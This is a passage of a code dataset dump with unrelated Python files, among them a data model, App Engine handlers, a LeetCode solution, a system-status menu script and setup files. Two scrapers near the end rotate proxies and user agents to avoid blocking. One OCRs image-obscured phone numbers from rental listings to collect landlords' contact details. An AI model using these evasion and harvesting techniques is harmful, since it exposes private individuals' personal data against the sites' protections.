'A fully resolved place of death for this contact.',\n }),\n ('death:place:loc', ('loc', {}), {\n 'doc': 'The loc of the place of death of this contact.',\n }),\n ('death:place:name', ('geo:name', {}), {\n 'doc': 'The name of the place of death of this contact.',\n }),\n ('dob', ('time', {}), {\n 'doc': 'The date of birth for this contact.',\n }),\n ('dod', ('time', {}), {\n 'doc': 'The date of death for this contact.',\n }),\n ('url', ('inet:url', {}), {\n 'doc': 'The home or main site for this contact.',\n }),\n ('email', ('inet:email', {}), {\n 'doc': 'The main email address for this contact.',\n }),\n ('email:work', ('inet:email', {}), {\n 'doc': 'The work email address for this contact.'\n }),\n ('loc', ('loc', {}), {\n 'doc': 'Best known contact geopolitical location.'\n }),\n ('address', ('geo:address', {}), {\n 'doc': 'The street address listed for the contact.',\n 'disp': {'hint': 'text'}\n }),\n ('place', ('geo:place', {}), {\n 'doc': 'The place associated with this contact.',\n }),\n ('place:name', ('geo:name', {}), {\n 'doc': 'The reported name of the place associated with this contact.',\n }),\n ('phone', ('tel:phone', {}), {\n 'doc': 'The main phone number for this contact.',\n }),\n ('phone:fax', ('tel:phone', {}), {\n 'doc': 'The fax number for this contact.',\n }),\n ('phone:work', ('tel:phone', {}), {\n 'doc': 'The work phone number for this contact.',\n }),\n ('id:number', ('ou:id:number', {}), {\n 'doc': 'An ID number issued by an org and associated with this contact.',\n }),\n ('adid', ('it:adid', {}), {\n 'doc': 'A Advertising ID associated with this contact.',\n }),\n ('imid', ('tel:mob:imid', {}), {\n 'doc': 'An IMID associated with the contact.',\n }),\n ('imid:imei', ('tel:mob:imei', {}), {\n 'doc': 'An IMEI associated with the contact.',\n }),\n ('imid:imsi', ('tel:mob:imsi', {}), {\n 'doc': 'An IMSI associated with the contact.',\n }),\n # A few probable multi-fields for entity resolution\n ('names', ('array', {'type': 'ps:name', 'uniq': True, 'sorted': True}), {\n 'doc': 'An array of associated names/aliases for the person.',\n }),\n ('orgnames', ('array', {'type': 'ou:name', 'uniq': True, 'sorted': True}), {\n 'doc': 'An array of associated names/aliases for the organization.',\n }),\n ('emails', ('array', {'type': 'inet:email', 'uniq': True, 'sorted': True}), {\n 'doc': 'An array of secondary/associated email addresses.',\n }),\n ('web:accts', ('array', {'type': 'inet:web:acct', 'uniq': True, 'sorted': True}), {\n 'doc': 'An array of secondary/associated web accounts.',\n }),\n ('id:numbers', ('array', {'type': 'ou:id:number', 'uniq': True, 'sorted': True}), {\n 'doc': 'An array of secondary/associated IDs.',\n }),\n ('users', ('array', {'type': 'inet:user', 'uniq': True, 'sorted': True}), {\n 'doc': 'An array of secondary/associated user names.',\n }),\n ('crypto:address', ('crypto:currency:address', {}), {\n 'doc': 'A crypto currency address associated with the contact.'\n }),\n\n ('lang', ('lang:language', {}), {\n 'doc': 'The language specified for the contact.'}),\n\n ('langs', ('array', {'type': 'lang:language'}), {\n 'doc': 'An array of alternative languages specified for the contact.'}),\n )),\n ('ps:vitals', {}, (\n ('asof', ('time', {}), {\n 'doc': 'The time the vitals were gathered or computed.'}),\n ('contact', ('ps:contact', {}), {\n 'doc': 'The contact that the vitals are about.'}),\n ('person', ('ps:person', {}), {\n 'doc': 'The person that the vitals are about.'}),\n ('height', ('geo:dist', {}), {\n 'doc': 'The height of the person or contact.'}),\n ('weight', ('mass', {}), {\n 'doc': 'The weight of the person or contact.'}),\n ('econ:currency', ('econ:currency', {}), {\n 'doc': 'The currency that the price values are recorded using.'}),\n ('econ:net:worth', ('econ:price', {}), {\n 'doc': 'The net worth of the contact.'}),\n ('econ:annual:income', ('econ:price', {}), {\n 'doc': 'The yearly income of the contact.'}),\n # TODO: eye color etc. color names / rgb values?\n )),\n ('ps:contactlist', {}, (\n ('contacts', ('array', {'type': 'ps:contact', 'uniq': True, 'split': ',', 'sorted': True}), {\n 'doc': 'The array of contacts contained in the list.'\n }),\n ('source:host', ('it:host', {}), {\n 'doc': 'The host from which the contact list was extracted.',\n }),\n ('source:file', ('file:bytes', {}), {\n 'doc': 'The file from which the contact list was extracted.',\n }),\n ('source:acct', ('inet:web:acct', {}), {\n 'doc': 'The web account from which the contact list was extracted.',\n }),\n )),\n\n ('ps:skill:type:taxonomy', {}, ()),\n ('ps:skill', {}, (\n\n ('name', ('str', {'lower': True, 'onespace': True}), {\n 'doc': 'The name of the skill.'}),\n\n ('type', ('ps:skill:type:taxonomy', {}), {\n 'doc': 'The type of skill as a taxonomy.'})\n )),\n\n ('ps:proficiency', {}, (\n\n ('skill', ('ps:skill', {}), {\n 'doc': 'The skill in which the contact is proficient.'}),\n\n ('contact', ('ps:contact', {}), {\n 'doc': 'The contact which is proficient in the skill.'}),\n )),\n )\n }\n name = 'ps'\n return ((name, modl), )\n","sub_path":"synapse/models/person.py","file_name":"person.py","file_ext":"py","file_size_in_byte":25427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"268349980","text":"\"\"\" Fantasm: A taskqueue-based Finite State Machine for App Engine Python\n\nDocs and examples: http://code.google.com/p/fantasm/\n\nCopyright 2010 VendAsta Technologies Inc.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\n\nimport time\nimport logging\nimport simplejson\nfrom google.appengine.ext import deferred, webapp, db\nfrom google.appengine.api.capabilities import CapabilitySet\nfrom fantasm import config, constants\nfrom fantasm.fsm import FSM\nfrom fantasm.utils import NoOpQueue\nfrom fantasm.constants import NON_CONTEXT_PARAMS, STATE_PARAM, EVENT_PARAM, INSTANCE_NAME_PARAM, TASK_NAME_PARAM,\\\n RETRY_COUNT_PARAM, STARTED_AT_PARAM, IMMEDIATE_MODE_PARAM, MESSAGES_PARAM,\\\n HTTP_REQUEST_HEADER_PREFIX\nfrom fantasm.exceptions import UnknownMachineError, RequiredServicesUnavailableRuntimeError, FSMRuntimeError\nfrom fantasm.models import _FantasmTaskSemaphore, Encoder, _FantasmFanIn\nfrom fantasm.lock import RunOnceSemaphore\n\nREQUIRED_SERVICES = ('memcache', 'datastore_v3', 'taskqueue')\n\nclass TemporaryStateObject(dict):\n \"\"\" A simple object that is passed throughout a machine dispatch that can hold temporary\n in-flight data.\n \"\"\"\n pass\n\n\ndef getMachineNameFromRequest(request):\n \"\"\" Returns the machine name embedded in the request.\n \n @param request: an HttpRequest\n @return: the machineName (as a string)\n \"\"\"\n path = request.path\n\n # strip off the mount-point\n currentConfig = config.currentConfiguration()\n mountPoint = currentConfig.rootUrl # e.g., '/fantasm/'\n if not path.startswith(mountPoint):\n raise FSMRuntimeError(\"rootUrl '%s' must match app.yaml mapping.\" % mountPoint)\n path = path[len(mountPoint):]\n\n # split on '/', the second item will be the machine name\n parts = path.split('/')\n return parts[1] # 0-based index\n\n\ndef getMachineConfig(request):\n \"\"\" Returns the machine configuration specified by a URI in a HttpReuest\n \n @param request: an HttpRequest\n @return: a config._machineConfig instance\n \"\"\"\n\n # parse out the machine-name from the path {mount-point}/fsm/{machine-name}/startState/event/endState/\n # NOTE: /startState/event/endState/ is optional\n machineName = getMachineNameFromRequest(request)\n\n # load the configuration, lookup the machine-specific configuration\n # FIXME: sort out a module level cache for the configuration - it must be sensitive to YAML file changes\n # for developer-time experience\n currentConfig = config.currentConfiguration()\n try:\n machineConfig = currentConfig.machines[machineName]\n return machineConfig\n except KeyError:\n raise UnknownMachineError(machineName)\n\n\nclass FSMLogHandler(webapp.RequestHandler):\n \"\"\" The handler used for logging \"\"\"\n\n def post(self):\n \"\"\" Runs the serialized function \"\"\"\n deferred.run(self.request.body)\n\n\nclass FSMFanInCleanupHandler(webapp.RequestHandler):\n \"\"\" The handler used for logging \"\"\"\n\n def post(self):\n \"\"\" Runs the serialized function \"\"\"\n q = _FantasmFanIn.all().filter('workIndex =', self.request.POST['workIndex'])\n db.delete(q)\n\n\nclass FSMGraphvizHandler(webapp.RequestHandler):\n \"\"\" The hander to output graphviz diagram of the finite state machine. \"\"\"\n\n def get(self):\n \"\"\" Handles the GET request. \"\"\"\n from fantasm.utils import outputMachineConfig\n\n machineConfig = getMachineConfig(self.request)\n content = outputMachineConfig(machineConfig, skipStateNames=[self.request.GET.get('skipStateName')])\n if self.request.GET.get('type', 'png') == 'png':\n self.response.out.write(\n \"\"\"\n \n \n \n
\n \n \n \n
\n \n \"\"\" % {'chl': content.replace('\\n', ' ')})\n else:\n self.response.out.write(content)\n\n_fsm = None\n\ndef getCurrentFSM():\n \"\"\" Returns the current FSM singleton. \"\"\"\n # W0603: 32:currentConfiguration: Using the global statement\n global _fsm # pylint: disable-msg=W0603\n\n # always reload the FSM for dev_appserver to grab recent dev changes\n if _fsm and not constants.DEV_APPSERVER:\n return _fsm\n\n currentConfig = config.currentConfiguration()\n _fsm = FSM(currentConfig=currentConfig)\n return _fsm\n\n\nclass FSMHandler(webapp.RequestHandler):\n \"\"\" The main worker handler, used to process queued machine events. \"\"\"\n\n def get(self):\n \"\"\" Handles the GET request. \"\"\"\n self.get_or_post(method='GET')\n\n def post(self):\n \"\"\" Handles the POST request. \"\"\"\n self.get_or_post(method='POST')\n\n def initialize(self, request, response):\n \"\"\"Initializes this request handler with the given Request and Response.\"\"\"\n super(FSMHandler, self).initialize(request, response)\n # pylint: disable-msg=W0201\n # - this is the preferred location to initialize the handler in the webapp framework\n self.fsm = None\n\n def handle_exception(self, exception, debug_mode): # pylint: disable-msg=C0103\n \"\"\" Delegates logging to the FSMContext logger \"\"\"\n self.error(500)\n logger = logging\n if self.fsm:\n logger = self.fsm.logger\n logger.exception(\"FSMHandler caught Exception\")\n if debug_mode:\n import traceback, sys, cgi\n\n lines = ''.join(traceback.format_exception(*sys.exc_info()))\n self.response.clear()\n self.response.out.write('
%s
' % (cgi.escape(lines, quote=True)))\n\n def get_or_post(self, method='POST'):\n \"\"\" Handles the GET/POST request. \n \n FIXME: this is getting a touch long\n \"\"\"\n\n # ensure that we have our services for the next 30s (length of a single request)\n unavailable = set()\n for service in REQUIRED_SERVICES:\n if not CapabilitySet(service).is_enabled():\n unavailable.add(service)\n if unavailable:\n raise RequiredServicesUnavailableRuntimeError(unavailable)\n\n # the case of headers is inconsistent on dev_appserver and appengine\n # ie 'X-AppEngine-TaskRetryCount' vs. 'X-AppEngine-Taskretrycount'\n lowerCaseHeaders = dict([(key.lower(), value) for key, value in self.request.headers.items()])\n\n taskName = lowerCaseHeaders.get('x-appengine-taskname')\n retryCount = int(lowerCaseHeaders.get('x-appengine-taskretrycount', 0))\n\n # Taskqueue can invoke multiple tasks of the same name occassionally. Here, we'll use\n # a datastore transaction as a semaphore to determine if we should actually execute this or not.\n if taskName:\n semaphoreKey = '%s--%s' % (taskName, retryCount)\n semaphore = RunOnceSemaphore(semaphoreKey, None)\n if not semaphore.writeRunOnceSemaphore(payload='fantasm')[0]:\n # we can simply return here, this is a duplicate fired task\n logging.info('A duplicate task \"%s\" has been queued by taskqueue infrastructure. Ignoring.', taskName)\n self.response.status_code = 200\n return\n\n # pull out X-Fantasm-* headers\n headers = None\n for key, value in self.request.headers.items():\n if key.startswith(HTTP_REQUEST_HEADER_PREFIX):\n headers = headers or {}\n if ',' in value:\n headers[key] = [v.strip() for v in value.split(',')]\n else:\n headers[key] = value.strip()\n\n requestData = {'POST': self.request.POST, 'GET': self.request.GET}[method]\n method = requestData.get('method') or method\n\n machineName = getMachineNameFromRequest(self.request)\n\n # get the incoming instance name, if any\n instanceName = requestData.get(INSTANCE_NAME_PARAM)\n\n # get the incoming state, if any\n fsmState = requestData.get(STATE_PARAM)\n\n # get the incoming event, if any\n fsmEvent = requestData.get(EVENT_PARAM)\n\n assert (fsmState and instanceName) or True # if we have a state, we should have an instanceName\n assert (fsmState and fsmEvent) or True # if we have a state, we should have an event\n\n obj = TemporaryStateObject()\n\n # make a copy, add the data\n fsm = getCurrentFSM().createFSMInstance(machineName,\n currentStateName=fsmState,\n instanceName=instanceName,\n method=method,\n obj=obj,\n headers=headers)\n\n # in \"immediate mode\" we try to execute as much as possible in the current request\n # for the time being, this does not include things like fork/spawn/contuniuations/fan-in\n immediateMode = IMMEDIATE_MODE_PARAM in requestData.keys()\n if immediateMode:\n obj[IMMEDIATE_MODE_PARAM] = immediateMode\n obj[MESSAGES_PARAM] = []\n fsm.Queue = NoOpQueue # don't queue anything else\n\n # pylint: disable-msg=W0201\n # - initialized outside of ctor is ok in this case\n self.fsm = fsm # used for logging in handle_exception\n\n # pull all the data off the url and stuff into the context\n for key, value in requestData.items():\n if key in NON_CONTEXT_PARAMS:\n continue # these are special, don't put them in the data\n\n # deal with ...a=1&a=2&a=3...\n value = requestData.get(key)\n valueList = requestData.getall(key)\n if len(valueList) > 1:\n value = valueList\n\n if key.endswith('[]'):\n key = key[:-2]\n value = [value]\n\n if key in fsm.contextTypes.keys():\n fsm.putTypedValue(key, value)\n else:\n fsm[key] = value\n\n if not (fsmState or fsmEvent):\n # just queue up a task to run the initial state transition using retries\n fsm[STARTED_AT_PARAM] = time.time()\n\n # initialize the fsm, which returns the 'pseudo-init' event\n fsmEvent = fsm.initialize()\n\n else:\n # add the retry counter into the machine context from the header\n obj[RETRY_COUNT_PARAM] = retryCount\n\n # add the actual task name to the context\n obj[TASK_NAME_PARAM] = taskName\n\n # dispatch and return the next event\n fsmEvent = fsm.dispatch(fsmEvent, obj)\n\n # loop and execute until there are no more events - any exceptions\n # will make it out to the user in the response - useful for debugging\n if immediateMode:\n while fsmEvent:\n fsmEvent = fsm.dispatch(fsmEvent, obj)\n self.response.headers['Content-Type'] = 'application/json'\n data = {\n 'obj': obj,\n 'context': fsm,\n }\n self.response.out.write(simplejson.dumps(data, cls=Encoder))\n","sub_path":"fantasm/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":11970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"181551180","text":"#\n# @lc app=leetcode id=304 lang=python3\n#\n# [304] Range Sum Query 2D - Immutable\n#\n\n# @lc code=start\nclass NumMatrix:\n\n def __init__(self, matrix: List[List[int]]):\n if not matrix:\n return\n m = len(matrix)\n n = len(matrix[0])\n #dp[i][j] = area from m[0][0] to m[i-1][j-1]\n self.dp = [[0 for _ in range(n + 1)] for _ in range(m + 1)]\n for i in range(1, m+ 1):\n for j in range(1, n + 1):\n self.dp[i][j] = self.dp[i -1][j] + self.dp[i][j - 1] - self.dp[i - 1][j - 1] + matrix[i -1][j - 1]\n\n\n\n def sumRegion(self, row1: int, col1: int, row2: int, col2: int) -> int:\n return self.dp[row2 + 1][col2 + 1] - self.dp[row2 + 1][col1] - self.dp[row1][col2 + 1] + self.dp[row1][col1]\n\n\n\n# Your NumMatrix object will be instantiated and called as such:\n# obj = NumMatrix(matrix)\n# param_1 = obj.sumRegion(row1,col1,row2,col2)\n# @lc code=end\n","sub_path":"Facebook/304.range-sum-query-2d-immutable.py","file_name":"304.range-sum-query-2d-immutable.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"258632610","text":"import os\n\ndef available_RAM():\n mem = os.popen('free -m').read()\n print(f'Available memory => {mem} mb')\n\n\ndef load_average():\n cmds = os.popen('cat /proc/loadavg').read()\n print(f\"\\nload avg => {cmds}\")\n \n\ndef display_hostname():\n cmd = 'hostnamectl status'\n res = os.popen(cmd).read()\n print(res)\n\n\ndef display_all_process():\n cmd = 'ps -a | wc -l'\n res = os.popen(cmd).read()\n print(f' {res} processes running on system ')\n\n\ndef uptime():\n\n cmd = os.popen(\"uptime\").read()\n print(f'Uptime ==> {cmd}')\n\n\ndef main_menu():\n print('1.Display available RAM')\n print('2.Display load average')\n print('3.Display Hostname details')\n print('4.Display All process count')\n print('5.Display uptime')\n print('6.Exit')\nwhile True:\n main_menu()\n ch = int(input('Enter choice : '))\n if ch == 1:\n available_RAM()\n elif ch == 2:\n load_average()\n elif ch == 3:\n display_hostname()\n elif ch == 4:\n display_all_process()\n elif ch == 5:\n uptime()\n elif ch == 6:\n break\n else:\n print('oops ! wrong option')\n\n","sub_path":"system_health/sys_hlth_proj.py","file_name":"sys_hlth_proj.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"408535542","text":"from datetime import datetime\nimport time\n\nfrom stat import S_ISREG, ST_CTIME, ST_MODE\nimport os, sys\n\ndef return_most_recent_file():\n\n #print(os.getcwd() + '/static/images/pdfs')\n #Relative or absolute path to the directory\n dir_path = os.getcwd() + '/hello/static/images/pdfs'\n\n #all entries in the directory w/ stats\n data = (os.path.join(dir_path, fn) for fn in os.listdir(dir_path))\n data = ((os.stat(path), path) for path in data)\n\n # regular files, insert creation date\n data = ((stat[ST_CTIME], path)\n for stat, path in data if S_ISREG(stat[ST_MODE]))\n\n all_items = []\n for cdate, path in sorted(data):\n all_items.append(os.path.basename(path))\n\n most_recent = all_items[-1]\n name_to_return = most_recent.replace('pdf.pdf', '')\n\n return name_to_return\n\nreturn_most_recent_file()\n","sub_path":"hello/static/images/pdfs/Most_recent_file_return_prog.py","file_name":"Most_recent_file_return_prog.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"323127035","text":"import random\nimport json\nimport torch\nimport sys\nsys.path.append('/data2/kevin7552/personal_assistant/personal_assisant/neuralintents')\nfrom model import NeuralNet\nfrom nltk_modules import bag_of_words, tokenize\n\nclass AssisantModel():\n weight = torch.load('/data2/kevin7552/personal_assistant/personal_assisant/neuralintents/data.pth')\n inputSize = weight['input_size']\n output_size = weight['output_size']\n hiddenSize = weight['hidden_size']\n all_words = weight['all_words']\n tags = weight['tags']\n modelState = weight['model_state']\n\n @classmethod\n def load_model(cls):\n cls.device = torch.device('cuda')\n cls.model = NeuralNet(cls.inputSize, cls.hiddenSize, cls.output_size)\n cls.model.load_state_dict(cls.modelState)\n cls.model.to(cls.device)\n cls.model.eval()\n\n @classmethod\n def load_intents_file(cls):\n with open('/data2/kevin7552/personal_assistant/personal_assisant/neuralintents/intents.json', 'r') as f:\n cls.intents = json.load(f)\n \n @classmethod\n def get_response(cls, sentence):\n sentence = tokenize(sentence)\n X = bag_of_words(sentence, cls.all_words)\n X = X.reshape(1, X.shape[0])\n X = torch.from_numpy(X).to(cls.device)\n\n output = cls.model(X)\n _, predicted = torch.max(output, dim=1)\n tag = cls.tags[predicted.item()]\n \n probs = torch.softmax(output, dim=1)\n prob = probs[0][predicted.item()]\n if prob.item() > 0.5:\n for intent in cls.intents['intents']:\n if tag == intent['tag']:\n print(f'model think {random.choice(intent[\"responses\"])}')\n\n else:\n print('model does not know') \n\n\n\n\n\n# File = '/data2/kevin7552/personal_assistant/personal_assisant/neuralintents/data.pth'\n# data = torch.load(File)\n\n# inputSize = data['input_size']\n# output_size = data['output_size']\n# hiddenSize = data['hidden_size']\n# all_words = data['all_words']\n# tags = data['tags']\n# modelState = data['model_state']\n\n\n# device = torch.device('cuda')\n# model = NeuralNet(inputSize, hiddenSize, output_size)\n# model.load_state_dict(modelState)\n# model.to(device)\n# model.eval()\n\n\n# with open('/data2/kevin7552/personal_assistant/personal_assisant/neuralintents/intents.json', 'r') as f:\n# intents = json.load(f)\n\n# while True:\n# sentence = input('command:')\n# if sentence == 'quit':\n# break\n\n# sentence = tokenize(sentence)\n# X = bag_of_words(sentence, all_words)\n# X = X.reshape(1, X.shape[0])\n# X = torch.from_numpy(X).to(device)\n\n# output =model(X)\n# _, predicted = torch.max(output, dim=1)\n# tag = tags[predicted.item()]\n \n# probs = torch.softmax(output, dim=1)\n# prob = probs[0][predicted.item()]\n# if prob.item() > 0.5:\n# for intent in intents['intents']:\n# if tag == intent['tag']:\n# print(f'model think {random.choice(intent[\"responses\"])}')\n\n# else:\n# print('model does not know') ","sub_path":"fastapi/core/assisant.py","file_name":"assisant.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"120294204","text":"from setuptools import setup\nfrom setuptools import find_packages\n\nlong_description = \"\"\"\nA reinforcement learning library for training, evaluating, and deploying robust trading agents.\n\"\"\"\n\nsetup(name='tensortrade',\n version='0.0.1a4',\n description='A reinforcement learning library for training, evaluating, and deploying robust trading agents.',\n long_description=long_description,\n author='Adam King',\n author_email='adamjking3@gmail.com',\n url='https://github.com/notadamking/tensortrade',\n download_url='https://github.com/notadamking/tensortrade/tarball/0.0.1a4',\n license='Apache 2.0',\n install_requires=[\n 'numpy',\n 'pandas',\n 'sklearn',\n 'gym',\n 'gin-config',\n 'ccxt',\n 'stochastic',\n 'tensorflow',\n 'ray'\n ],\n extras_require={\n 'tests': ['pytest'],\n },\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Natural Language :: English',\n 'Intended Audience :: Developers',\n 'Intended Audience :: Education',\n 'Intended Audience :: Science/Research',\n 'Intended Audience :: Financial and Insurance Industry',\n 'Intended Audience :: Information Technology',\n 'License :: OSI Approved :: Apache Software License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Topic :: Office/Business :: Financial :: Investment',\n 'Topic :: Office/Business :: Financial',\n 'Topic :: Scientific/Engineering :: Information Analysis',\n 'Topic :: System :: Distributed Computing',\n 'Topic :: Scientific/Engineering :: Artificial Intelligence',\n 'Topic :: Software Development :: Libraries',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ],\n packages=find_packages())\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"123439925","text":"\"\"\"\n座右铭:如果现在的生活不是你想要的,那就是你自找的.\n@project:yuke\n@author:Si_jin_hui\n@file:少女映画.PY\n@ide:PyCharm\n@time:2018-08-13 22:05:39\n\"\"\"\nimport urllib.request\nfrom urllib.request import ProxyHandler, build_opener\nimport re, random, os\n\n# 设置一个请求头列表\nuser_agent_list = [\n 'Mozilla/5.0(Windows;U;WindowsNT6.1;en-us)AppleWebKit/534.50(KHTML,likeGecko)Version/5.1Safari/534.50',\n 'Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.0)',\n 'Mozilla/5.0(Macintosh;IntelMacOSX10.6;rv:2.0.1)Gecko/20100101Firefox/4.0.1',\n 'Opera/9.80(Macintosh;IntelMacOSX10.6.8;U;en)Presto/2.8.131Version/11.11',\n 'Mozilla/5.0(Macintosh;IntelMacOSX10_7_0)AppleWebKit/535.11(KHTML,likeGecko)Chrome/17.0.963.56Safari/535.11']\nheaders = {'User-Agent': random.choice(user_agent_list)}\n# 设置IP代理对象\nip_list = [{'http': 'http://61.135.217.7:80'},{'https': 'https://123.55.184.222:808'}]\nproxy_handler = ProxyHandler(random.choice(ip_list))\n\n#获取子页面的图片链接\ndef get_img(fin_url):\n # print('正在爬取{}子页面......'.format(fin_url.split('/')[-1]))\n request = urllib.request.Request(fin_url, headers=headers)\n opener = build_opener(proxy_handler)\n response = opener.open(request).read().decode('utf-8')\n pattern_obj = re.compile(r'

.*?.*?title=\"(.*?)\" date-enlarge', re.S)\n result_total_list.extend(re.findall(pattern_obj, response))\n # print(result_total_list)\n # print(result_total_list)\n return result_total_list\n\n#将图片链接保存到本地磁盘\ndef save_data(name, fin_url):\n # 先将...里面的返回的result_list接收过来\n result_img_list = get_img(fin_url)\n # print(result_img_list)\n for tuple_data in result_img_list:\n for img in tuple_data:\n try:\n # print(tuple_data)\n file_path = 'image/{0}/{1}.{2}'.format(name, img.split('/')[-1], 'jpg')\n if not os.path.exists(file_path):\n os.makedirs(\"image/{}\".format(name),exist_ok=True)\n urllib.request.urlretrieve(img+\".jpg\", file_path)\n else:\n print('该图片已存在')\n except Exception as e:\n print('保存文件失败,原因是:',e)\n else:\n print('写入成功!')\n\nif __name__ == '__main__':\n tie_zi_id = get_total()\n for tie_zi in tie_zi_id:\n # tie_zi 现在就是包含子链接和title的元组\n print('-------------当前子页面链接:', tie_zi[0])\n name = tie_zi[1]\n save_data(name, tie_zi[0])\n","sub_path":"zhengke/8-13/少女映画.py","file_name":"少女映画.py","file_ext":"py","file_size_in_byte":3488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"158822295","text":"import re\nfrom typing import Optional, Tuple\n\nimport pytesseract\nfrom loguru import logger\nfrom PIL import Image, ImageEnhance\nfrom requests_html import HTMLSession\nfrom selenium.common.exceptions import NoSuchElementException\n\nfrom crawler.utils.driver import get_driver\n\n\nclass PhoneOperator:\n @classmethod\n def get_phone_from_url(cls, url: str, html) -> Optional[str]:\n\n # Method 1. Read Phone Text\n phone = cls._get_phone_from_text(html)\n if phone:\n return phone\n\n # Method 2. recognize image directly\n phone = cls._get_phone_from_image(html)\n\n # Method 3. recognize image from screenshot\n if not phone or not cls._validate_phone_str(phone):\n logger.warning(f\"{url}: image detect: {phone} -> parse screenshot \")\n phone = cls._get_phone_from_screenshot(url)\n\n if not phone or not cls._validate_phone_str(phone):\n logger.error(f\"{url}: parse screenshot -> {phone}\")\n else:\n logger.success(f\"{url}: parse screenshot -> {phone}\")\n\n return phone\n\n @classmethod\n def _get_phone_from_image(cls, html) -> Optional[str]:\n image_element = html.find(\".num img\", first=True)\n if not image_element:\n return None\n image_url = f'https:{image_element.attrs[\"src\"]}'\n session = HTMLSession()\n image = Image.open(session.get(image_url, stream=True).raw)\n\n image = image.convert(\"L\")\n image = ImageEnhance.Brightness(image).enhance(0.5)\n\n return cls._image_to_phone(image)\n\n @staticmethod\n def _image_to_phone(image) -> str:\n # resize\n image = image.resize((360, 60))\n\n return (\n pytesseract.image_to_string(image)\n .replace(\"\\n\\x0c\", \"\")\n .replace(\" \", \"\")\n .replace(\"-\", \"\")\n )\n\n @staticmethod\n def _validate_phone_str(phone: str) -> bool:\n try:\n return bool(int(phone))\n except ValueError as error:\n logger.warning(error)\n return False\n\n @classmethod\n def _get_phone_from_screenshot(cls, url: str) -> Optional[str]:\n # pick house_id from url string\n house_id = url[-13:-5]\n screen_file = f\"./data/phone/full_{house_id}.png\"\n phone_img = cls._save_screenshot(screen_file, url)\n\n if phone_img:\n return cls._recognize_phone_image(screen_file, phone_img)\n\n return None\n\n @staticmethod\n def _save_screenshot(screen_file: str, url: str) -> Optional[str]:\n try:\n driver = get_driver()\n driver.set_window_size(1366, 768)\n driver.get(url)\n driver.save_screenshot(screen_file)\n\n return driver.find_element_by_css_selector(\".num img\")\n except NoSuchElementException as error:\n logger.warning(f\"{url} phone image not found\\n{error}\")\n return None\n\n @classmethod\n def _recognize_phone_image(cls, screen_file: str, phone_img):\n\n # calc phone position\n location = phone_img.location\n size = phone_img.size\n phone_img_x = location[\"x\"]\n phone_img_y = location[\"y\"]\n height = phone_img_y + size[\"height\"]\n width = phone_img_x + size[\"width\"]\n\n # crop photo\n image = Image.open(screen_file)\n image = image.crop((phone_img_x, phone_img_y, int(width), int(height)))\n\n return cls._image_to_phone(image)\n\n @staticmethod\n def _get_phone_from_text(html) -> Optional[str]:\n phone = html.find(\".num\", first=True)\n if phone:\n return phone.text\n\n return None\n\n\n# pylint: disable= R0902\n\n\nclass House:\n def __init__(self, url: str, title: str, html):\n self.url = url\n self.title = title\n self.sold = (\n html.find(\".DealEnd\", first=True).text if html.find(\".DealEnd\") else None\n )\n self.phone = (\n PhoneOperator.get_phone_from_url(url, html) if not self.sold else None\n )\n nav = html.find(\"#propNav a\")\n self.city = nav[2].text\n self.district = nav[3].text\n self.house_status = nav[4].text\n\n self.lessor, self.lessor_gender, self.lessor_identity = self._get_lessor_info(\n html\n )\n\n self.house_type = self._get_house_type(html)\n self.gender_requirement = self._get_gender_requirement(html)\n\n self.house_condition = self._get_house_condition(html)\n\n @staticmethod\n def _get_lessor_info(html) -> Tuple:\n lessor_gender: Optional[str]\n lessor_identity: Optional[str]\n\n lessor = html.find(\".avatarRight i\", first=True)\n if lessor:\n lessor = lessor.text\n if \"先生\" in lessor:\n lessor_gender = \"男\"\n elif \"小姐\" in lessor:\n lessor_gender = \"女\"\n # e.g. pick \"代理人\" from \"蘇先生(代理人)\"\n lessor_identity = html.find(\".avatarRight div\", first=True).text.replace(\n lessor, \"\"\n )[1:-1]\n else:\n lessor = lessor_gender = lessor_identity = None\n\n return lessor, lessor_gender, lessor_identity\n\n @staticmethod\n def _get_house_type(html) -> Optional[str]:\n elements = html.find(\".attr li\")\n\n house_type = None\n for element in elements:\n pattern_after_colon = r\":\\s*(.*)\"\n if \"型\" in element.text:\n house_type = re.findall(\n pattern_after_colon, element.text.replace(\"\\n\", \"\")\n )[0]\n\n return house_type\n\n @staticmethod\n def _get_gender_requirement(html) -> Optional[str]:\n elements = html.find(\"ul li.clearfix .one\")\n labels = [element.text.replace(\"\\n\", \"\").strip() for element in elements]\n try:\n index = labels.index(\"性別要求\")\n elements = html.find(\"ul li.clearfix .two em\")\n return elements[index].text.replace(\"\\n\", \"\")\n except ValueError:\n return None\n\n @staticmethod\n def _get_house_condition(html) -> Optional[str]:\n house_condition = html.find(\".houseIntro\", first=True)\n return house_condition.text if house_condition else None\n\n def to_dict(self) -> dict:\n return {\n \"url\": self.url,\n \"title\": self.title,\n \"city\": self.city,\n \"district\": self.district,\n \"lessor\": self.lessor,\n \"lessor_gender\": 